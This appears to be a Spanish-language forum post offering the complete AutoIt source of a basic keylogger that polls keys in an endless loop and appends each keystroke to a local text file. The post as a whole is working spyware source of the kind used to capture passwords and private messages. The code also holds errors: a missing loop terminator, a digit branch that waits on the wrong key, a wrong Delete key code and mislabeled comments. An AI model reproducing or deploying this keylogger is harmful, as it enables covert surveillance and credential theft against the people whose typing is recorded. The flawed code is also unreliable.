Codigo:
Código: Seleccionar todo
#include <winapi.au3>
; Fecha: 13/06/2013
; Nombre: Jali Keylogger
; Autor: KGM
; Lenguaje: Autoit
; Datos: Keylogger basico usando winapi.au3, guarda lo escrito en un archivo .txt
;############## Caracteres ###########
Const $VK_RETURN = 0x0D ;Enter
Const $VK_TAB = 0x09 ;Tabulador
Const $VK_SHIFT = 0x10 ;Shift
Const $VK_CONTROL = 0x11 ;Ctrl
Const $VK_CAPITAL = 0x14 ;Caps lock
Const $VK_ESCAPE = 0x1B ;Escape
Const $VK_SPACE = 0x20 ;Barra espaceadora
Const $VK_LEFT = 0x25 ;Flecha izquierda
Const $VK_UP = 0x26 ;Ctrl
Const $VK_RIGHT = 0x27 ;Caps lock
Const $VK_DOWN = 0x28 ;Escape
Const $VK_SNAPSHOT = 0x2C ;print screen
Const $VK_INSERT = 0x2D ;Ins insertar
Const $VK_DELETE = 0x2B ;Delete borrar
;############## Numeros ###########
Const $VK_0 = 0x30
Const $VK_1 = 0x31
Const $VK_2 = 0x32
Const $VK_3 = 0x33
Const $VK_4 = 0x34
Const $VK_5 = 0x35
Const $VK_6 = 0x36
Const $VK_7 = 0x37
Const $VK_8 = 0x38
Const $VK_9 = 0x39
;############## Letras ###########
Const $VK_A = 0x41
Const $VK_B = 0x42
Const $VK_C = 0x43
Const $VK_D = 0x44
Const $VK_E = 0x45
Const $VK_F = 0x46
Const $VK_G = 0x47
Const $VK_H = 0x48
Const $VK_I = 0x49
Const $VK_J = 0x4A
Const $VK_K = 0x4B
Const $VK_L = 0x4C
Const $VK_M = 0x4D
Const $VK_N = 0x4E
Const $VK_O = 0x4F
Const $VK_P = 0x50
Const $VK_Q = 0x51
Const $VK_R = 0x52
Const $VK_S = 0x53
Const $VK_T = 0x54
Const $VK_U = 0x55
Const $VK_V = 0x56
Const $VK_W = 0x57
Const $VK_X = 0x58
Const $VK_Y = 0x59
Const $VK_Z = 0x5A
;$cai = Caracter a imprimir *mera comodidad jaja*
Global $cai[50] = ["[Enter]","[Tab]","[Shift]","[Ctrl]","[Caps Lock]","[Esc]"," ","[Flecha izquierda]","[Flecha arriba]","[Flecha derecha]","[Flecha abajo]","[Print screen]","[Insertar]","[Borrar]","0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
;Func fwrite = funcion para escribir y comprobar que el archivo fue abierto correctamente, con parametro $info para ingresar la informacion que se desea escribir
Func fwrite($info)
Local $archivo = FileOpen("text.txt", 1)
If $archivo = -1 Then ;Check if file opened for writing OK
MsgBox(0, "Error", "No se pudo abrir el archivo.")
Exit
EndIf
FileWrite($archivo, $info)
FileClose($archivo)
EndFunc
_Main()
func _Main()
while 1 ;while infinito
if _WinAPI_GetAsyncKeyState($VK_RETURN) Then ;Se entiende por: Si la tecla return esta oprimida entonces
fwrite($cai[0]) ;escribir en un archivo mediante la funcion fwrite($info) el dato correspondiente en el vector
While _WinAPI_GetAsyncKeyState($VK_RETURN) ;hacemos un while para dar tiempo de que la tecla sea soltada
Sleep(100)
WEnd ;finalizamos el while, creo que con esto ya entenderan el resto
ElseIf _WinAPI_GetAsyncKeyState($VK_TAB) Then
fwrite($cai[1])
While _WinAPI_GetAsyncKeyState($VK_TAB)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_SHIFT) Then
fwrite($cai[2])
While _WinAPI_GetAsyncKeyState($VK_SHIFT)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_CONTROL) Then
fwrite($cai[3])
While _WinAPI_GetAsyncKeyState($VK_CONTROL)
Sleep(100)
ElseIf _WinAPI_GetAsyncKeyState($VK_CAPITAL) Then
fwrite($cai[4])
While _WinAPI_GetAsyncKeyState($VK_CAPITAL)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_ESCAPE) Then
fwrite($cai[5])
While _WinAPI_GetAsyncKeyState($VK_ESCAPE)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_SPACE) Then
fwrite($cai[6])
While _WinAPI_GetAsyncKeyState($VK_SPACE)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_LEFT) Then
fwrite($cai[7])
While _WinAPI_GetAsyncKeyState($VK_LEFT)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_UP) Then
fwrite($cai[8])
While _WinAPI_GetAsyncKeyState($VK_UP)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_RIGHT) Then
fwrite($cai[9])
While _WinAPI_GetAsyncKeyState($VK_RIGHT)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_DOWN) Then
fwrite($cai[10])
While _WinAPI_GetAsyncKeyState($VK_DOWN)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_SNAPSHOT) Then
fwrite($cai[11])
While _WinAPI_GetAsyncKeyState($VK_SNAPSHOT)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_INSERT) Then
fwrite($cai[12])
While _WinAPI_GetAsyncKeyState($VK_INSERT)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_DELETE) Then
fwrite($cai[13])
While _WinAPI_GetAsyncKeyState($VK_DELETE)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_0 ) Then
fwrite($cai[14])
While _WinAPI_GetAsyncKeyState($VK_0)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_1) Then
fwrite($cai[15])
While _WinAPI_GetAsyncKeyState($VK_1)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_2) Then
fwrite($cai[16])
While _WinAPI_GetAsyncKeyState($VK_2)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_3) Then
fwrite($cai[17])
While _WinAPI_GetAsyncKeyState($VK_3)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_4) Then
fwrite($cai[18])
While _WinAPI_GetAsyncKeyState($VK_4)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_5) Then
fwrite($cai[19])
While _WinAPI_GetAsyncKeyState($VK_5)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_6) Then
fwrite($cai[20])
While _WinAPI_GetAsyncKeyState($VK_6)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_7) Then
fwrite($cai[21])
While _WinAPI_GetAsyncKeyState($VK_TAB)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_8) Then
fwrite($cai[22])
While _WinAPI_GetAsyncKeyState($VK_8)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_9) Then
fwrite($cai[23])
While _WinAPI_GetAsyncKeyState($VK_9)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_A) Then
fwrite($cai[24])
While _WinAPI_GetAsyncKeyState($VK_A)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_B) Then
fwrite($cai[25])
While _WinAPI_GetAsyncKeyState($VK_B)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_C) Then
fwrite($cai[26])
While _WinAPI_GetAsyncKeyState($VK_C)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_D) Then
fwrite($cai[27])
While _WinAPI_GetAsyncKeyState($VK_D)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_E) Then
fwrite($cai[28])
While _WinAPI_GetAsyncKeyState($VK_E)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_F) Then
fwrite($cai[29])
While _WinAPI_GetAsyncKeyState($VK_F)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_G) Then
fwrite($cai[30])
While _WinAPI_GetAsyncKeyState($VK_G)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_H) Then
fwrite($cai[31])
While _WinAPI_GetAsyncKeyState($VK_H)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_I) Then
fwrite($cai[32])
While _WinAPI_GetAsyncKeyState($VK_I)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_J) Then
fwrite($cai[33])
While _WinAPI_GetAsyncKeyState($VK_J)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_K) Then
fwrite($cai[34])
While _WinAPI_GetAsyncKeyState($VK_K)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_L) Then
fwrite($cai[35])
While _WinAPI_GetAsyncKeyState($VK_L)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_M) Then
fwrite($cai[36])
While _WinAPI_GetAsyncKeyState($VK_M)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_N) Then
fwrite($cai[37])
While _WinAPI_GetAsyncKeyState($VK_N)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_O) Then
fwrite($cai[38])
While _WinAPI_GetAsyncKeyState($VK_O)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_P) Then
fwrite($cai[39])
While _WinAPI_GetAsyncKeyState($VK_P)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_Q) Then
fwrite($cai[40])
While _WinAPI_GetAsyncKeyState($VK_Q)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_R) Then
fwrite($cai[41])
While _WinAPI_GetAsyncKeyState($VK_R)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_S) Then
fwrite($cai[42])
While _WinAPI_GetAsyncKeyState($VK_S)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_T) Then
fwrite($cai[43])
While _WinAPI_GetAsyncKeyState($VK_T)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_U) Then
fwrite($cai[44])
While _WinAPI_GetAsyncKeyState($VK_U)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_V) Then
fwrite($cai[45])
While _WinAPI_GetAsyncKeyState($VK_V)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_W) Then
fwrite($cai[46])
While _WinAPI_GetAsyncKeyState($VK_W)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_X) Then
fwrite($cai[47])
While _WinAPI_GetAsyncKeyState($VK_X)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_Y) Then
fwrite($cai[48])
While _WinAPI_GetAsyncKeyState($VK_Y)
Sleep(100)
WEnd
ElseIf _WinAPI_GetAsyncKeyState($VK_Z) Then
fwrite($cai[49])
While _WinAPI_GetAsyncKeyState($VK_Z)
Sleep(100)
WEnd
Else
$ass=0 ;Esto lo utilizo como void
EndIf
WEnd
EndFunc
Saludos
